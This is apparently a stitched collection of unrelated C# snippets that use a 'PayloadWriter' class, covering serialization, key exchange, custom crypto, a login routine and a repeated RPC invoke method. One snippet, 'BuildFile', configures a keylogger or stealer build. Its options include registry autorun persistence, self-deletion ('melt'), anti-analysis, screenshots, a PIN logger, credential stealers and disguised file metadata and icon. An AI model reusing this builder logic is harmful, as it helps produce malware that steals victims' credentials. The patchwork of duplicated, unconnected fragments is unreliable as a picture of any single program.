public override byte[] ToByteArray() { PayloadWriter writer = new PayloadWriter(); switch (register) { case Register.EAX: writer.WriteBytes(OtherOpcodes.MOV_EAX_DWORD_PTR); break; case Register.ECX: writer.WriteBytes(OtherOpcodes.MOV_ECX_DWORD_PTR); break; case Register.EBP: writer.WriteBytes(OtherOpcodes.MOV_EBP_DWORD_PTR); break; case Register.EBX: writer.WriteBytes(OtherOpcodes.MOV_EBX_DWORD_PTR); break; case Register.EDI: writer.WriteBytes(OtherOpcodes.MOV_EDI_DWORD_PTR); break; case Register.EDX: writer.WriteBytes(OtherOpcodes.MOV_EDX_DWORD_PTR); break; case Register.ESI: writer.WriteBytes(OtherOpcodes.MOV_ESI_DWORD_PTR); break; case Register.ESP: writer.WriteBytes(OtherOpcodes.MOV_ESP_DWORD_PTR); break; } writer.WriteInteger(ModifiyValue.Address); return(writer.ToByteArray()); }
internal static byte[] CalculateSecretHash(byte[] Modulus, byte[] Exponent) { lock (CalculationLock) { SortedList <byte, int> NumCounter = new SortedList <byte, int>(); for (int i = 0; i < Modulus.Length; i++) { if (!NumCounter.ContainsKey(Modulus[i])) { NumCounter.Add(Modulus[i], 1); } else { NumCounter[Modulus[i]] = (NumCounter[Modulus[i]] + 1) * ((Exponent[i % Exponent.Length] + 3)); } } PayloadWriter pw = new PayloadWriter(); for (int i = 0; i < NumCounter.Count; i++) { long val = NumCounter.Keys[i] + (Modulus[(i * 3) % Modulus.Length] ^ (NumCounter.Keys[i] + NumCounter.Values[i])); pw.WriteDouble(Math.Pow(val, 8)); } SHA512Managed ShaHasher = new SHA512Managed(); return(ShaHasher.ComputeHash(pw.ToByteArray())); } }
private void DoLogin() { if (!cbRememberMe.Checked) { File.Delete(loginData); } if (!cbAutoLogin.Checked) { File.Delete(autoLogin); } if (cbRememberMe.Checked && !File.Exists(loginData)) { string data = tbUsername.txtbox.Text + Environment.NewLine + tbPassword.txtbox.Text; File.WriteAllText(loginData, GlobalVariables.cryptor.Encrypt(data, GlobalVariables.HWID)); } if (cbAutoLogin.Checked && !File.Exists(autoLogin)) { File.WriteAllText(autoLogin, string.Empty); } using (PayloadWriter pw = new PayloadWriter()) { tbUsername.Enabled = false; tbPassword.Enabled = false; btnLogin.Enabled = false; pw.WriteByte(0x02); pw.WriteString(tbUsername.txtbox.Text); pw.WriteString(tbPassword.txtbox.Text); pw.WriteString(GlobalVariables.HWID); pw.WriteString(GlobalVariables.version); GlobalVariables.Username = tbUsername.txtbox.Text; GlobalVariables.SendData(pw.ToByteArray()); } }
public override byte[] ToByteArray() { PayloadWriter writer = new PayloadWriter(); writer.WriteBytes(OtherOpcodes.MOV_VARIABLE_VALUE); writer.WriteInteger(ModifiyValue.Address); writer.WriteString(varName); //lets serialize the new value writer.WriteByte(isRegister ? (byte)1 : (byte)0); if (isRegister) { writer.WriteByte((byte)register); } else { MemoryStream mem = new MemoryStream(); new BinaryFormatter().Serialize(mem, newValue); writer.WriteInteger((int)mem.Length); writer.WriteBytes(mem.ToArray()); } return(writer.ToByteArray()); }
/// <summary> /// Generate a random encryption/decryption algorithm /// </summary> /// <param name="Instructions">The max number of instructions to generate, higher=slower</param> /// <param name="EncryptCode"></param> /// <param name="DecryptCode"></param> /// <param name="TestAlgorithm">Test the algorithm for strongness, it will take longer generating the algorithm</param> public static void GenerateCryptoCode(int Seed, int Instructions, ref byte[] EncryptCode, ref byte[] DecryptCode, bool TestAlgorithm = true) { lock (Locky) { FastRandom rnd = new FastRandom(Seed); do { using (PayloadWriter EncPw = new PayloadWriter()) using (PayloadWriter DecPw = new PayloadWriter()) { //generate a random instruction and when generated set the opposide for Decryption for (int i = 0; i < Instructions; i++) { InstructionInfo EncInstruction = null; InstructionInfo DecInstruction = null; GetNextRandomInstruction(rnd, ref EncInstruction, ref DecInstruction); EncPw.WriteBytes(WriteInstruction(EncInstruction)); DecPw.WriteBytes(WriteInstruction(DecInstruction)); } EncryptCode = EncPw.ToByteArray(); DecryptCode = DecPw.ToByteArray(); } } while (TestAlgorithm && IsAlgorithmWeak(EncryptCode, DecryptCode, Seed)); } }
public static byte[] Serialize(Header header) { using (MemoryStream ms = new MemoryStream()) using (PayloadWriter pw = new PayloadWriter()) { Serializer.Serialize(ms, header); pw.WriteUShort((ushort)ms.Length); pw.WriteBytes(ms.ToArray()); return(pw.ToByteArray()); } }
private static byte[] WriteInstruction(InstructionInfo Instruction) { using (PayloadWriter pw = new PayloadWriter()) using (MemoryStream ms = new MemoryStream()) { Serializer.Serialize(ms, Instruction); pw.WriteByte((byte)ms.Length); pw.WriteBytes(ms.ToArray()); return(pw.ToByteArray()); } }
public void WriteDnsFile(string FilePath) { if (!File.Exists(FilePath)) { File.Create(FilePath).Close(); } PayloadWriter pw = new PayloadWriter(); for (int i = 0; i < DnsNames.Count; i++) { pw.WriteString(DnsNames.Values[i].DnsName); pw.WriteUInteger(DnsNames.Values[i].DnsId); } File.WriteAllBytes(FilePath, pw.ToByteArray()); }
public override byte[] ToByteArray() { PayloadWriter writer = new PayloadWriter(); writer.WriteByte((byte)OpcodeList.MOV_EAX_DWORD_PTR); writer.WriteInteger(ModifiyValue.Address); writer.WriteByte(varName == null ? (byte)0 : (byte)1); writer.WriteInteger(Index); if (varName != null) { writer.WriteString(varName); } writer.WriteByte((byte)register); return(writer.ToByteArray()); }
public override byte[] ToByteArray() { byte[] tmp = new byte[0]; PayloadWriter writer = new PayloadWriter(); writer.WriteByte((byte)OpcodeList.PUSH_VALUE); if (Value.GetType() == typeof(int)) { tmp = BitConverter.GetBytes((int)Value); writer.WriteByte(0); } else if (Value.GetType() == typeof(uint)) { tmp = BitConverter.GetBytes((uint)Value); writer.WriteByte(1); } else if (Value.GetType() == typeof(byte)) { tmp = BitConverter.GetBytes((byte)Value); writer.WriteByte(2); } else if (Value.GetType() == typeof(short)) { tmp = BitConverter.GetBytes((short)Value); writer.WriteByte(3); } else if (Value.GetType() == typeof(ushort)) { tmp = BitConverter.GetBytes((ushort)Value); writer.WriteByte(4); } else if (Value.GetType() == typeof(ulong)) { tmp = BitConverter.GetBytes((ulong)Value); writer.WriteByte(5); } else if (Value.GetType() == typeof(long)) { tmp = BitConverter.GetBytes((long)Value); writer.WriteByte(6); } writer.WriteBytes(tmp); return(writer.ToByteArray()); }
/// <summary> /// Generates a request packet. /// </summary> /// <returns></returns> public DiffieHellman GenerateRequest() { // Generate the parameters. prime = BigInteger.genPseudoPrime(bits, 30, random); mine = BigInteger.genPseudoPrime(bits, 30, random); g = BigInteger.genPseudoPrime(bits, 30, random); // Gemerate the string. PayloadWriter pw = new PayloadWriter(); pw.WriteBigInteger(prime); pw.WriteBigInteger(g); // Generate the send BigInt. using (BigInteger send = g.modPow(mine, prime)) { pw.WriteBigInteger(send); } representation = pw.ToByteArray(); return(this); }
public byte[] Encrypt(byte[] Data, int Offset, int Length) { lock (AES) { byte[] NewIV = new byte[16]; Frandom.NextBytes(NewIV); this.IV = NewIV; //mask the IV to make it harder to grab the IV while packet sniffing / MITM IvConfuser.Obfuscate(ref NewIV, 0); using (ICryptoTransform Encryptor = AES.CreateEncryptor()) { using (PayloadWriter pw = new PayloadWriter(new System.IO.MemoryStream())) { pw.WriteBytes(NewIV); pw.WriteBytes(Encryptor.TransformFinalBlock(Data, Offset, Length)); return(pw.ToByteArray()); } } } }
/// <summary> /// Generate a response packet. /// </summary> /// <param name="request">The string representation of the request.</param> /// <returns></returns> public DiffieHellman GenerateResponse(PayloadReader pr) { // Generate the would-be fields. using (BigInteger prime = pr.ReadBigInteger()) using (BigInteger g = pr.ReadBigInteger()) using (BigInteger mine = BigInteger.genPseudoPrime(bits, 30, random)) { // Generate the key. using (BigInteger given = pr.ReadBigInteger()) using (BigInteger key = given.modPow(mine, prime)) { this.key = key.getBytes(); } // Generate the response. using (BigInteger send = g.modPow(mine, prime)) { PayloadWriter pw = new PayloadWriter(); pw.WriteBigInteger(send); this.representation = pw.ToByteArray(); } } return(this); }
private void _Invoke(ref object RetObject, params object[] args) { if (args.Length < ArgumentTypes.Length) //check if a argument is using "params x[] args" { throw new Exception("missing arguments"); } List <int> usedDelegates = new List <int>(); PayloadWriter pw = new PayloadWriter(); pw.WriteInteger(sharedClass.SharedId); pw.WriteInteger(MethodId); pw.WriteByte(isDelegate ? (byte)1 : (byte)0); if (isDelegate) { pw.WriteInteger(this.DelegateId); pw.WriteInteger(this.sharedClass.SharedId); } SmartSerializer serializer = new SmartSerializer(); for (int i = 0; i < args.Length; i++) { object obj = ArgumentTypes[i].IsByRef ? null : args[i]; if (DelegateIndex.ContainsKey(i)) { obj = null; } byte[] SerializedObj = serializer.Serialize(obj); pw.WriteInteger(SerializedObj.Length); pw.WriteBytes(SerializedObj); } for (int i = 0; i < DelegateIndex.Count; i++) { Delegate del = args[DelegateIndex.Keys[i]] as Delegate; if (del != null) { if (del.Method == null) { throw new Exception("Target delegate is NULL"); } int id = rnd.Next(); while (Delegates.ContainsKey(id)) { id = rnd.Next(); } pw.WriteByte(1); SharedDelegate sharedDel = new SharedDelegate(del.Method, sharedClass, del.GetType(), id, del, this.MethodId); sharedDel.sharedMethod.Unchecked = DelegateIndex.Values[i].isUnchecked; sharedDel.sharedMethod.usePacketQueue = DelegateIndex.Values[i].UsePacketQueue; sharedDel.sharedMethod.useUdp = DelegateIndex.Values[i].UseUDP; sharedDel.sharedMethod.NoWaitingTime = DelegateIndex.Values[i].NoWaitingTime; pw.WriteObject(sharedDel); if (!isDelegate) { Delegates.Add(id, sharedDel); } continue; } pw.WriteByte(0); } if (Unchecked || useUdp) { //just execute the method and don't wait for response sharedClass.connection.Connection.SendMessage(new MsgExecuteMethod(0, pw.ToByteArray(), false)); } else { SyncObject syncObject = null; Random rnd = new Random(); int RequestId = rnd.Next(); lock (sharedClass.connection.MethodRequests) { while (sharedClass.connection.MethodRequests.ContainsKey(RequestId)) { RequestId = rnd.Next(); } syncObject = new SyncObject(sharedClass.connection.Connection.Connection); sharedClass.connection.MethodRequests.Add(RequestId, syncObject); sharedClass.connection.Connection.SendMessage(new MsgExecuteMethod(RequestId, pw.ToByteArray(), true)); } RetObject = syncObject.Wait <ReturnResult>(null, 0); } /*if (callback != null) * { * sharedClass.connection.BeginSendRequest(pw, callback, true, this.usePacketQueue); * } * else * { * if (Unchecked || useUdp) * { * //just don't wait till we received something back since it's a VOID anyway * sharedClass.connection.BeginSendRequest(pw, (object obj) => { }, false, this.usePacketQueue); * } * else * { * RetObject = sharedClass.connection.SendRequest(pw, this.usePacketQueue); * } * }*/ serializer = null; }
public ClientProperties(string HostIp, ushort Port, Type BaseChannel, object[] BaseChannelArgs, byte[] PrivateKey, Stream[] KeyFiles = null, ProxySettings proxySettings = null, int ConnectingTimeout = 30000, string Username = "", string Password = "", bool AllowChannels = true, bool AllowPeers = true) { this.HostIp = HostIp; this.Port = Port; this.BaseChannel = BaseChannel; this.BaseChannelArgs = BaseChannelArgs; this.proxySettings = proxySettings; this.ConnectingTimeout = ConnectingTimeout; this.PrivateKey = PrivateKey; this.Username = Username; this.KeyFiles = KeyFiles; this.AllowChannels = AllowChannels; this.AllowPeers = AllowPeers; if (Password != null && Password.Length > 0) { byte[] basePass = ASCIIEncoding.ASCII.GetBytes(Convert.ToBase64String(ASCIIEncoding.Unicode.GetBytes(Password))); PayloadWriter keyPW = new PayloadWriter(); keyPW.WriteUInteger(new MurmurHash2Unsafe().Hash(BitConverter.GetBytes(new SuperFastHashUInt16Hack().Hash(basePass)))); keyPW.WriteUInteger(new MurmurHash2Unsafe().Hash(BitConverter.GetBytes(new MurmurHash2Simple().Hash(basePass)))); keyPW.WriteUInteger(new SuperFastHashInlineBitConverter().Hash(BitConverter.GetBytes(new SuperFastHashUInt16Hack().Hash(basePass)))); keyPW.WriteBytes(SHA512Managed.Create().ComputeHash(keyPW.ToByteArray())); byte[] key = keyPW.ToByteArray(); unsafe { fixed(byte *x = basePass) { for (int i = 0; i < basePass.Length; i++) { x[i] += (byte)((x[i] ^ key[i % key.Length]) % 0xFF); x[i] ^= (byte)((x[(i + 1) % basePass.Length] / 2) * key[i % key.Length]); x[i] ^= (byte)Password[i % Password.Length]; } } } //generate random bytes at the end based on the hash PayloadWriter Out = new PayloadWriter(); Out.WriteBytes(basePass); byte[] GenKey = new byte[32]; for (int i = 0; i < GenKey.Length; i++) { GenKey[i] = (byte)((basePass[i % basePass.Length] + key[i % key.Length]) % 0xFF); if ((GenKey[((i * 2) / 3) % GenKey.Length] ^ (byte)(key[i % key.Length] ^ GenKey[i])) > 0) { GenKey[((i * 2) / 3) % GenKey.Length] ^= (byte)(key[i % key.Length] ^ GenKey[i]); } else { GenKey[(i * 3) % GenKey.Length] ^= (byte)((basePass[i % basePass.Length] << 8) % 0xFF); } } Out.WriteBytes(GenKey); this.Password = BitConverter.ToString(Out.ToByteArray()).Replace("-", ""); } Password = ""; //remove from memory hopefully }
private void _Invoke(ref object RetObject, params object[] args) { if (args.Length < ArgumentTypes.Length) //check if a argument is using "params x[] args" throw new Exception("missing arguments"); List<int> usedDelegates = new List<int>(); PayloadWriter pw = new PayloadWriter(); pw.WriteInteger(sharedClass.SharedId); pw.WriteInteger(MethodId); pw.WriteByte(isDelegate ? (byte)1 : (byte)0); if (isDelegate) { pw.WriteInteger(this.DelegateId); pw.WriteInteger(this.sharedClass.SharedId); } SmartSerializer serializer = new SmartSerializer(); for (int i = 0; i < args.Length; i++) { object obj = ArgumentTypes[i].IsByRef ? null : args[i]; if (DelegateIndex.ContainsKey(i)) obj = null; byte[] SerializedObj = serializer.Serialize(obj); pw.WriteInteger(SerializedObj.Length); pw.WriteBytes(SerializedObj); } for (int i = 0; i < DelegateIndex.Count; i++) { Delegate del = args[DelegateIndex.Keys[i]] as Delegate; if (del != null) { if (del.Method == null) throw new Exception("Target delegate is NULL"); int id = rnd.Next(); while(Delegates.ContainsKey(id)) id = rnd.Next(); pw.WriteByte(1); SharedDelegate sharedDel = new SharedDelegate(del.Method, sharedClass, del.GetType(), id, del, this.MethodId); sharedDel.sharedMethod.Unchecked = DelegateIndex.Values[i].isUnchecked; sharedDel.sharedMethod.usePacketQueue = DelegateIndex.Values[i].UsePacketQueue; sharedDel.sharedMethod.useUdp = DelegateIndex.Values[i].UseUDP; sharedDel.sharedMethod.NoWaitingTime = DelegateIndex.Values[i].NoWaitingTime; pw.WriteObject(sharedDel); if (!isDelegate) { Delegates.Add(id, sharedDel); } continue; } pw.WriteByte(0); } if (Unchecked || useUdp) { //just execute the method and don't wait for response sharedClass.connection.Connection.SendMessage(new MsgExecuteMethod(0, pw.ToByteArray(), false)); } else { SyncObject syncObject = null; Random rnd = new Random(); int RequestId = rnd.Next(); lock (sharedClass.connection.MethodRequests) { while(sharedClass.connection.MethodRequests.ContainsKey(RequestId)) RequestId = rnd.Next(); syncObject = new SyncObject(sharedClass.connection.Connection.Connection); sharedClass.connection.MethodRequests.Add(RequestId, syncObject); sharedClass.connection.Connection.SendMessage(new MsgExecuteMethod(RequestId, pw.ToByteArray(), true)); } RetObject = syncObject.Wait<ReturnResult>(null, 0); } /*if (callback != null) { sharedClass.connection.BeginSendRequest(pw, callback, true, this.usePacketQueue); } else { if (Unchecked || useUdp) { //just don't wait till we received something back since it's a VOID anyway sharedClass.connection.BeginSendRequest(pw, (object obj) => { }, false, this.usePacketQueue); } else { RetObject = sharedClass.connection.SendRequest(pw, this.usePacketQueue); } }*/ serializer = null; }
private void BuildFile() { this.Enabled = false; string uploadKey = tbUploadKey.txtbox.Text; string time = nudInterval.Value.ToString(); string mutex = Random(); if (string.IsNullOrEmpty(uploadKey) || string.IsNullOrEmpty(time)) { this.Enabled = true; return; } tbBuildLog.Text += "> Upload Key: " + uploadKey + Environment.NewLine; tbBuildLog.Text += "> Log Interval: " + time + Environment.NewLine; tbBuildLog.Text += "> Mutex: " + mutex + Environment.NewLine; bool installFile = cbInstallFile.Checked; string processName = tbProcessName.txtbox.Text; string folder = tbFolder.txtbox.Text; string directory = cbDirectory.Text; bool hkcu = cbHKCU.Checked; bool hklm = cbHKLM.Checked; string hkcuKey = tbHKCU.txtbox.Text; string hklmKey = tbHKLM.txtbox.Text; bool meltFile = cbMeltFile.Checked; bool antis = cbAntis.Checked; bool sendScreenshots = cbSendScreenshots.Checked; bool hideFile = cbHideFile.Checked; bool pinlogger = cbPinlogger.Checked; bool stealers = cbStealers.Checked; string title = tbTitle.txtbox.Text; string description = tbDescription.txtbox.Text; string product = tbProduct.txtbox.Text; string copyright = tbCopyright.txtbox.Text; string version = tbVersion.txtbox.Text; string guid = tbGUID.txtbox.Text; string iconPath = tbIconPath.txtbox.Text; bool changeIcon = !string.IsNullOrEmpty(tbIconPath.txtbox.Text); byte[] iconFile = null; if (changeIcon) { iconFile = File.ReadAllBytes(iconPath); } using (PayloadWriter pw = new PayloadWriter()) { pw.WriteByte(0x03); pw.WriteString(uploadKey); pw.WriteString(time); pw.WriteString(mutex); pw.WriteBool(installFile); if (installFile) { pw.WriteString(processName); pw.WriteString(folder); pw.WriteString(directory); } pw.WriteBool(hkcu); if (hkcu) { pw.WriteString(hkcuKey); } pw.WriteBool(hklm); if (hklm) { pw.WriteString(hklmKey); } pw.WriteBool(meltFile); pw.WriteBool(antis); pw.WriteBool(sendScreenshots); pw.WriteBool(hideFile); pw.WriteBool(pinlogger); pw.WriteBool(stealers); pw.WriteString(title); pw.WriteString(description); pw.WriteString(product); pw.WriteString(copyright); pw.WriteString(version); pw.WriteString(guid); pw.WriteBool(changeIcon); if (changeIcon) { pw.WriteInteger(iconFile.Length); pw.WriteBytes(iconFile); } byte[] packet = pw.ToByteArray(); tbBuildLog.Text += "> Sending packet size: " + packet.Length + Environment.NewLine; GlobalVariables.SendData(packet); } }
private void _Invoke(ref object RetObject, params object[] args) { if (args.Length < ArgumentTypes.Length) //check if a argument is using "params x[] args" { throw new Exception("missing arguments"); } List <int> usedDelegates = new List <int>(); PayloadWriter pw = new PayloadWriter(); SmartSerializer serializer = new SmartSerializer(); for (int i = 0; i < args.Length; i++) { object obj = ArgumentTypes[i].IsByRef ? null : args[i]; if (DelegateIndex.ContainsKey(i)) { obj = null; } byte[] SerializedObj = serializer.Serialize(obj); pw.WriteInteger(SerializedObj.Length); pw.WriteBytes(SerializedObj); } for (int i = 0; i < DelegateIndex.Count; i++) { Delegate del = args[DelegateIndex.Keys[i]] as Delegate; if (del != null) { if (del.Method == null) { throw new Exception("Target delegate is NULL"); } int id = rnd.Next(); while (Delegates.ContainsKey(id)) { id = rnd.Next(); } pw.WriteBool(true); SharedDelegate sharedDel = new SharedDelegate(del.Method, sharedClass, del.GetType(), id, del, this.MethodId); sharedDel.sharedMethod.Unchecked = this.Unchecked; //DelegateIndex.Values[i].isUnchecked; sharedDel.sharedMethod.usePacketQueue = this.usePacketQueue; //DelegateIndex.Values[i].UsePacketQueue; sharedDel.sharedMethod.useUdp = this.useUdp; //DelegateIndex.Values[i].UseUDP; pw.WriteObject(sharedDel); if (!isDelegate) { Delegates.Add(id, sharedDel); } continue; } pw.WriteBool(false); } try { if (Unchecked || useUdp) { //just execute the method and don't wait for response sharedClass.Client.Send(new MsgExecuteMethod(0, pw.ToByteArray(), false, sharedClass.SharedId, MethodId, this.DelegateId, this.sharedClass.SharedId)); } else { SyncObject syncObject = null; Random rnd = new Random(); int RequestId = rnd.Next(); lock (sharedClass.Client.Requests) { while (sharedClass.Client.Requests.ContainsKey(RequestId)) { RequestId = rnd.Next(); } syncObject = new SyncObject(sharedClass.Client); sharedClass.Client.Requests.Add(RequestId, syncObject); sharedClass.Client.Send(new MsgExecuteMethod(RequestId, pw.ToByteArray(), true, sharedClass.SharedId, MethodId, this.DelegateId, this.sharedClass.SharedId)); } RetObject = syncObject.Wait <ReturnResult>(null, TimeOutLength); if (syncObject.TimedOut) { //copying the object in memory, maybe a strange way todo it but it works RetObject = new ReturnResult(serializer.Deserialize(serializer.Serialize(this.TimeOutValue)), false); } } } catch { //client most likely disconnected and was unable to send the message RetObject = null; } /*if (callback != null) * { * sharedClass.connection.BeginSendRequest(pw, callback, true, this.usePacketQueue); * } * else * { * if (Unchecked || useUdp) * { * //just don't wait till we received something back since it's a VOID anyway * sharedClass.connection.BeginSendRequest(pw, (object obj) => { }, false, this.usePacketQueue); * } * else * { * RetObject = sharedClass.connection.SendRequest(pw, this.usePacketQueue); * } * }*/ serializer = null; }